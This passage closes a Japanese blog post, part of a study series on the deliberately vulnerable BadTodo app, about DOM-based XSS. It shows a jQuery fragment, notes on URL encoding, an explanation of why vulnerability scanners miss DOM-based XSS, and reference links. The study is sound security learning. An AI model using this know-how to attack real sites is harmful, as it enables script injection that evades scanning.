      $('#contents').find('input[name="id[]"][value="' + id + '"]').prop('checked', true);
    };
  });
}

その他

URL上の半角スペースに%20ではなく参考書籍と同様に+を使った場合はうまくいきませんでした。書籍ではクエリー文字列の取り扱いに URI.min.js を使っているなど少し差異があるためかと思います。

反射型・格納型XSSはサーバ上でHTMLの生成が行われます。BadTodoの場合、サーバー上のPHP実行エンジンがファイルや入力値の内容を解釈して処理を行い、HTMLを作成してレスポンスとして返します。一方 JavaScriptによってクライアント上でHTMLを組み立てると攻撃用のコード部分がサーバにリクエストとして送信されません。脆弱性検査ツールではリクエスト内に含まれる文字列がレスポンス内に現れるか否かで探しているものが多いためこのタイプの脆弱性は発見できない場合があります。

BurpSuiteの組み込みブラウザには「Dom Invader」という機能があり、DOM Based XSSのチェックに使えるようです。まだ使い方を理解していません。

DOM Invader - PortSwigger

参考にしたサイト:
第6回 DOM-based XSS その1 | gihyo.jp
DOM Based XSSとは|図でわかる脆弱性の仕組み | ユービーセキュア
What is DOM-based XSS (cross-site scripting)? Tutorial & Examples | Web Security Academy
IPA - DOM Based XSSに関するレポート
location: hash プロパティ - Web API | MDN
【jQuery入門】prop(attr)の使い方と属性値の取得・設定まとめ! | 侍エンジニアブログ

次回:やられアプリ BadTodo - 4.9 XSS URL属性値に対して - demandosigno

/* -----codeの行番号----- */